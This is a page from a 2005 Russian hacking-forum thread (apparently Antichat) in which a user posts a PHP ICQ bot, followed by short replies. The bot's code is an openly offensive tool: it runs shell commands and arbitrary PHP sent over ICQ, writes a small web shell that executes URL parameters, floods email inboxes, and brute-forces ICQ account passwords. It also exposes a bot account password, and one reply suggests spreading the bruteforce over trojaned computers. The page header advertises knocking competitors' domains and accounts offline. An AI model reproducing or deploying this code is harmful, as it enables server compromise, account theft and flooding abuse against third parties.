icq бот

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Skype, IRC, ICQ, Jabber и другие IM
icq бот

Страница 3 из 4

Опции темы

Поиск в этой теме

Опции просмотра

#21

23.07.2005, 12:52

К.е.Н

Участник форума

Регистрация: 05.07.2005

Сообщений: 116

С нами: 10973306

Репутация: 6

Да я знаю только один язык это пхп и это не в совершенстве

#22

27.07.2005, 15:57

~~KEZ~~

Banned

Регистрация: 18.05.2005

Сообщений: 1,981

С нами: 11042306

Репутация: 2726

Сильно недоделаный, но всеже более менее рабочий скрипт... Предполагалось что там будет брут и т д... Брут получился очеень медленным и фиговым.
Ну бот всеравно работает.

PHP код:


		
			
<?php





##############################

#                            #

#                            #

#         (C) KEZ            #

#      kez@antichat.ru       #

#           2005             #

#                            #

##############################

#                            #

# http://antichat.ru         #

# http://video.antichat.net  #

# http://video.antichat.ru   #

#                            #

##############################

#                            #

# --functions--              #

# Email send, email flood,   #

# icq send, icq flood,       #

# *ICQ BRUTEFORCE*,          #

# Unix\Windows shell,        #

# view PHP environment       #

# vars, generating list for  #

# ICQ bruteforce             #

#                            #

##############################

#                            #

# This PHP script            #

# includes edited by me      #

# c99phpicq.php              #

# library by CCTeam          #

#                            #

# http://ccteam.ru/          #

# http://ccteam.ru/files     #

#         /c99phpicq.php.txt #

#                            #

##############################





##########################################################

#######!              c99phpicq.php              !########

##########################################################

// влючите сюда c99phpicq.php с http://ccteam.nukleon.us

###############################################################

#################!   END OF c99phpicq.php    !#################

###############################################################



# redirect to / (index)

# if 0, do not redirect to index, else redirect

# (for WEB browsers)

$Force_Redirect = 0;

if ($Force_Redirect) header( "Location: /" );



# lib allready included in top of file

#include("c99phpicq.php");

#



# no script execution limit, 0

set_time_limit( 0 );



# you cat control this bot from this UINs:



#$AdminUins = array ( "353303", "446378" );

$AdminUins = array (  "353303" );



# ICQ Account for bot

$BotUin  = "66680094";

$BotPass = "kJuIk7w";



# default values

$AboutString       = "bot_by_kez_<kez@antichat.ru>";



# environment text string, do not change

$env_var = env();



# 1 = now b#ruting, 0 = NOT bruting

$bruting = 0;



# counter for good ICQ accounts (bruted) in good file

$good_count = 0;

# counter for all ICQ accounts

$all_count  = 0;

 

# if 1, messages from ALL users will be displayed, if 0,

# only cmd's from admins

$ShowGuestMessages = 1;



# time for sleep() over mail() flooding, in seconds

$sleeptime = 1; // 1 second



function Log_print( $str )

{

  return true;

}



# time

$StartTime = 0;

$StopTime = 0;



$enablelog = 0;



# /$php_self?startbrute ...

if (isset($HTTP_GET_VARS["startbrute"]))

{

   if (!isset($HTTP_GET_VARS["listfile"])) exit;

   if (!isset($HTTP_GET_VARS["goodfile"])) exit;

   if (!isset($HTTP_GET_VARS["stopfile"])) exit;

   if (isset($HTTP_GET_VARS["logfile"]))

   {

     $logfile  = $HTTP_GET_VARS["logfile"];

     $f_log = fopen( $logfile, "w" );

     $enablelog = 1;

   }

   

   $listfile = $HTTP_GET_VARS["listfile"];

   $goodfile = $HTTP_GET_VARS["goodfile"];

   $stopfile = $HTTP_GET_VARS["stopfile"];



   $icq = new ICQ( 0, 0 );



   $f  = fopen( $listfile, "r" );

   $f2 = fopen( $goodfile, "w" );

   

   if ($enablelog) fputs( $f_log, "*start*\r\nlistfile=$listfile goodfile=$goodfile stopfile=$stopfile\r\n" );

   $StartTime = time();

  

   while ($l = fgets( $f, 50 )) :

     list( $uin, $password ) = explode( ";", $l );

     $password = str_replace( "\r\n", "", $password );

     $r = $icq->http_checklogin( $uin, $password );

     if ($r == 1)

     {

       fputs( $f2, $uin.";".$password."\r\n" );

       # increment the good uins count

       $good_count++;

     }

     $all_count++;

     # check for STOP file, if exists then break <while> cycle

     if (file_exists( $stopfile ))

     {

       if ($enablelog) fputs( $f_log, "\r\n*used stopfile*" );

       unlink( $stopfile );

       break;

     }

   endwhile;



   # close list and good files

   fclose( $f );

   fclose( $f2 );

   

   # printing results and halting

   $StopTime = time();

   $TotalTime = $StopTime - $StartTime;

   if ($enablelog) fputs( $f_log, "\r\n*stop*\r\nGOOD=$good_count ALL=$all_count\r\nTime: ".$TotalTime );

   

   exit;

}



###############################################################

print "Starting BOT ...\n";

print "Bot UIN: ".$BotUin.", Bot password: ".$BotPass."\n";

print "Admins: ";

foreach ($AdminUins as $AU)

{

   print $AU." ";

}

print "\n";



$icq = new ICQ( $BotUin, $BotPass );

@$icq->connect() || die( "Couldnot connect - @\$icq->connect() failed\n" );

@$icq->login() || die( "Couldnot login - @\$icq->login() failed\n" );



# force_shutdown

function force_shutdown()

{

   GLOBAL $icq;

  

   $icq->disconnect();

   exit;

}



# help

function help()

{

    GLOBAL $AboutString;

    

    $result = "\nCommands:\n";

    $result .= "-----------\n";

    $result .= "shutdown - fully switch off the PHP script process\n";

    $result .= "env - view PHP environment varibles\n";

    $result .= "stats - view statistics\n";

    $result .= "help - this help\n";

    $result .= "email <to>|<subject>|<text> - send email message\n";

    $result .= "emailflood <to>|<subject>|<text>|<count> - flood email, send <count> messages\n";

    $result .= "genlist <file> <from_number> <to_number> <pass> <mode> - generate brute list <file> from <from_number> to <to_number> with password <pass>, <mode>:\"w\" for new file, \"a\" for append to file\n";

    $result .= "set <varible> <value> - setup options, see help\n";

    $result .= "! <command> - shell command in exec()\n";

    $result .= "@ <command> - php code in eval()\n";

    $result .= "# <command> - shell command in system, do not return results from console\n";

    $result .= "icq <to_uin>|<msg> - send \"<msg>\" to <to_uin>\n";

    $result .= "icqflood <to_uin>|<msg>|<count> - flood icq, send <count> messages, THIS FUNCTION NOT IMPLEMENTATED!\n";

    $result .= "-----------\n";

    $result .= "<varible>'s for <set> :\n";

    $result .= "str_about - set about string, as copyright\n";

    $result .= "logfile - set the log file (logging bad implementated)\n";

    $result .= "sleeptime - set time for sleep(), over mail() flood\n";

    $result .= "log - logging?\n";

    $result .= "showguest - show and log guest, messages from NON-ADMINS\n";

    $result .= "-----------\n";

    $result .= "ABOUT :\n";

    $result .= $AboutString;



    return $result;

}



function stats()

{

    # globals...

    GLOBAL       $BotUin;

    GLOBAL       $BotPass;

    GLOBAL       $AdminUins;

    GLOBAL       $ShowGuestMessages;

    

    $result = "\nSTATISTICS:\n";

    $result .= "___________\n";

    $result .= "Bot ICQ account information:\n";

    $result .= "UIN:".$BotUin.", Password:".$BotPass."\n";

    $result .= "Admins:\n";

    $i = 1;

    foreach ($AdminUins as $AU)

    {

      $result .= $i.") ".$AU."\n";

      $i++;

    }

    $result .= "\n";

    $result .= "\$ShowGuestMessages=".$ShowGuestMessages."\n";

    $result .= "Use <env> command for PHP environment listing\n";

    $result .= "Coded by KEZ -- kez@antichat.ru";

                           

    return $result;

}



function env()

{

    $result = "\nENVIRONMENT:\n";

    while (list($var,$value) = each($_SERVER)) :

        $result .= $var." = ".$value."\n";

    endwhile;

    return $result;

}



# Process_Command

function Process_Command( $cmd )

{

    GLOBAL $env_var;

    GLOBAL $GoodListFileName;

    GLOBAL $AboutString;

    GLOBAL $icq;

    GLOBAL $file2_b64;

    GLOBAL $StartTime;

    GLOBAL $sleeptime;

    GLOBAL $ShowGuestMessages;

   

    $result = ""; 



    $cmdarr = split( " ", $cmd );



    switch ($cmdarr[0]) :



      case "shutdown" :

        Log_print( "cmd:shutdown\r\n" );

        force_shutdown();        

        break;



      case "env" :

        Log_print( "cmd:env\r\n" );

        $result = $env_var;

        break;

      

      case "stats" :

        Log_print( "cmd:stats\r\n" );

        $result = stats();

        break;



      case "help" :

        Log_print( "cmd:help\r\n" );

        $result = help();

        break;



      case "email" :

        Log_print( "cmd:email\r\n" );

        $emaildata = split( "\|", $cmd );

        $emailto = split( " ", $emaildata[0] );

        $result = "Message emailed for ".$emailto[1];

        @mail( $emailto[1], $emaildata[1], $emaildata[2] ) || $result = "Error in @mail()";



        break;



      case "emailflood" :

        Log_print( "cmd:emailflood\r\n" );

        $emaildata = split( "\|", $cmd );

        $emailto = split( " ", $emaildata[0] );

        $count = $emaildata[3];       



        $result = "Flood emailed to ".$emailto[1].", ".$count." messages";

        for ($i = 1; $i <= $count; $i += 1 ):

          sleep( $sleeptime );

          @mail( $emailto[1], $emaildata[1], $emaildata[2] ) || $result = "Error in @mail()";

        endfor;



        break;



      case "@" :

        Log_print( "cmd:@\r\n" );

        $_cmd = substr( $cmd, 1 );

        eval( $_cmd );

        break;



      case "genlist" :

        Log_print( "cmd:genlist\r\n" );



        $fname = $cmdarr[1];

        $min   = $cmdarr[2];

        $max   = $cmdarr[3];

        $pass  = $cmdarr[4];

        $mode  = $cmdarr[5];



        switch ($mode) :

          case "a" :

            $f = fopen( $fname, "a" );

            break;

   

          case "w" :

            $f = fopen( $fname, "w" );

            break;



          default:        

          {

            $result = "Unknow mode (4) - use a (append to file) or w (new file)";

            break;

          }

        endswitch;



        for ($i = $min; $i <= $max; $i += 1):

        fputs( $f, $i.";".$pass."\r\n" );

        endfor;

        fclose( $f );



        $result = "List \"".$fname."\" rewrited/appended with UINs ".$min." to ".$max." with pass ".$pass.", mode is ".$mode;

      break;



      case "set" :

        Log_print( "cmd:set\r\n" );

        if ($cmdarr[1] == "str_about" )

        {

          $AboutString = $cmdarr[2];

          $result = "\$AboutString changed to ".$AboutString;

          break;

        }



        if ($cmdarr[1] == "showguest")

        {

          if ($cmdarr[2] == "on") $ShowGuestMessages = 1;

          if ($cmdarr[2] == "off") $ShowGuestMessages = 0;

          

          $result = "Guest messages ".$ShowGuestMessages;

          break;

        }

         

        if ($cmdarr[1] == "sleeptime")

        {

          $sleeptime = $cmdarr[2];

          $result = "\$sleeptime changed to ".$sleeptime;

          break;

        }

        else

        {

          $result = "<set>: unknow parameter specified";

          break;

        }



      case "!" :

        Log_print( "cmd:!\r\n" );

        $_cmd = substr( $cmd, 1 );

        exec( $_cmd, $execstrarray );

        for ($i=0; $i < count($execstrarray); $i++) :

          $result .= "\n".$execstrarray[$i];

        endfor;

        break;

        

      case "#" :

        Log_print( "cmd:#\r\n" );

        $_cmd = substr( $cmd, 1 );

        system( $_cmd );

        break;

      

        

      case "icq" :

        Log_print( "cmd:icq\r\n" );



        $icqdata = split( "\|", $cmd );        

        $icqto = split( " ", $icqdata[0] );

        $icq->message_send( $icqto[1], $icqdata[1] ); 

        $result = "\$icq->message_send() OK";

        break;

      

      case "icqflood" :

        Log_print( "cmd:icqflood\r\n" );

        $result = "ICQ Flooder NOT IMPLEMENTATED";

        break;

        

      case "spawnshell" :

        # spawn a little PHP shell

        Log_print( "cmd:spawnshell\n" );

        

#        if (!is_writable( $cmdarr[1]))

#        {

#          $result = "Couldnot create file - permission denied";

#          break;

#        }

        

        $shf = fopen( $cmdarr[1], "w" );

        fputs( $shf, "<?\r\n" );

        fputs( $shf, "print \"<PRE>\";\r\n" );

        fputs( $shf, "system( \$_GET[\"cmd\"] );\r\n" );

        fputs( $shf, "print \"</PRE>\";\r\n" );

        fputs( $shf, "?>" );

        fclose( $shf );

        

        $result = "Little PHP shell created. Use: ".$cmdarr[1]."?cmd=ls -la";

        break;



      case "spawn2php" :

        Log_print( "cmd:spawn2php\r\n" );



        $f_php2 = fopen( $cmdarr[1], "w" );

        fwrite( $f_php2, base64_decode( $file2_b64 ) );

        fclose( $f_php2 );

        

        $result = "2.php created. use this script for brute";        

        break;

        

      case "spawnremview" :

        # spawn a little PHP shell

        Log_print( "cmd:spawnremview\r\n" );;

        

        $result = "This script dont support base64 remview source. Only <spawnshell> command";

        break;



#        $shf = fopen( $cmdarr[1], "w" );

#        fwrite( $shf, base64_decode( $remview_b64 ) );

#        fclose( $shf );

        

#        $result = "REMVIEW.PHP created";

#        break;

      

      default:

        $result = "Unknow command, use <help> for list";



    endswitch;

     

    return $result;

}



foreach ($AdminUins as $AU)

{

   $icq->message_send( $AU, "Bot'up!" );

}



################################

# main cycle                   #

# socket read                  #

################################



while ($icq->socket)

{

 $icq->listen();



 if (isset($icq->mess["channel"]))

 {

     if (in_array($icq->mess["uin"], $AdminUins ))

     $icq->message_send( $icq->mess["uin"], Process_Command( $icq->mess["text"] ) );

     else

     {

        if ($ShowGuestMessages == 1)

        {

          Log_print( "FROM ".$icq->mess["uin"]." : ".$icq->mess["text"]."\r\n" );

          foreach ($AdminUins as $AU)

          {

            $icq->message_send( $AU, "FROM ".$icq->mess["uin"]." : ".$icq->mess["text"] );

          }

       }

     }

 }

}



#

# $people = "people";

# $shit   = "shit";

#

# $people = $shit;

#



?>

#23

27.07.2005, 21:13

~~-=ToYs=-~~

Banned

Регистрация: 23.07.2005

Сообщений: 53

С нами: 10947266

Репутация: 0

подправь его немног, а то кривоват. Только не злись на мои слова

#24

28.07.2005, 00:00

~~w00d~~

Banned

Регистрация: 30.06.2005

Сообщений: 236

С нами: 10980326

Репутация: 53

2-=ToYs=-:
Что криво и что править?

#25

28.07.2005, 00:52

inSa(Ne)rd

Участник форума

Регистрация: 14.03.2005

Сообщений: 267

С нами: 11135846

Репутация: 545

Цитата:

#
# $people = "people";
# $shit = "shit";
#
# $people = $shit;
#

Ухаха ))
Кез, а обязательно надо было пароль от аськи бота писать тут? )

#26

28.07.2005, 04:05

~~-=ToYs=-~~

Banned

Регистрация: 23.07.2005

Сообщений: 53

С нами: 10947266

Репутация: 0

Лучше сделать, чтобы скрипт распределял подбор и раскидывал это на всевозможные (протрояненные) компы

#27

28.07.2005, 13:33

qBiN

Постоянный

Регистрация: 20.01.2005

Сообщений: 899

С нами: 11212166

Репутация: 182

Цитата:

Лучше сделать, чтобы скрипт распределял подбор и раскидывал это на всевозможные (протрояненные) компы

Те нада ты и делай...Вон для вас ведь была написана библиотека...

#28

28.07.2005, 16:15

~~-=ToYs=-~~

Banned

Регистрация: 23.07.2005

Сообщений: 53

С нами: 10947266

Репутация: 0

Так меня спросили, я ответил

#29

16.08.2005, 13:22

~~KEZ~~

Banned

Регистрация: 18.05.2005

Сообщений: 1,981

С нами: 11042306

Репутация: 2726

Цитата:

#
# $people = "people";
# $shit = "shit";
#
# $people = $shit;
#

Ухаха ))
Кез, а обязательно надо было пароль от аськи бота писать тут? )

Это видимо у меня было лирическое отступление...

Цитата:

Лучше сделать, чтобы скрипт распределял подбор и раскидывал это на всевозможные (протрояненные) компы

Что бы скрипт раскидывал??

#30

16.08.2005, 14:22

qBiN

Постоянный

Регистрация: 20.01.2005

Сообщений: 899

С нами: 11212166

Репутация: 182

Типа он хотел сказать что бы бот был еще и сервером распределенного перебора...
ИМХО не нужно...А вот кофе что бы он варил в самый раз.

Страница 3 из 4

Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход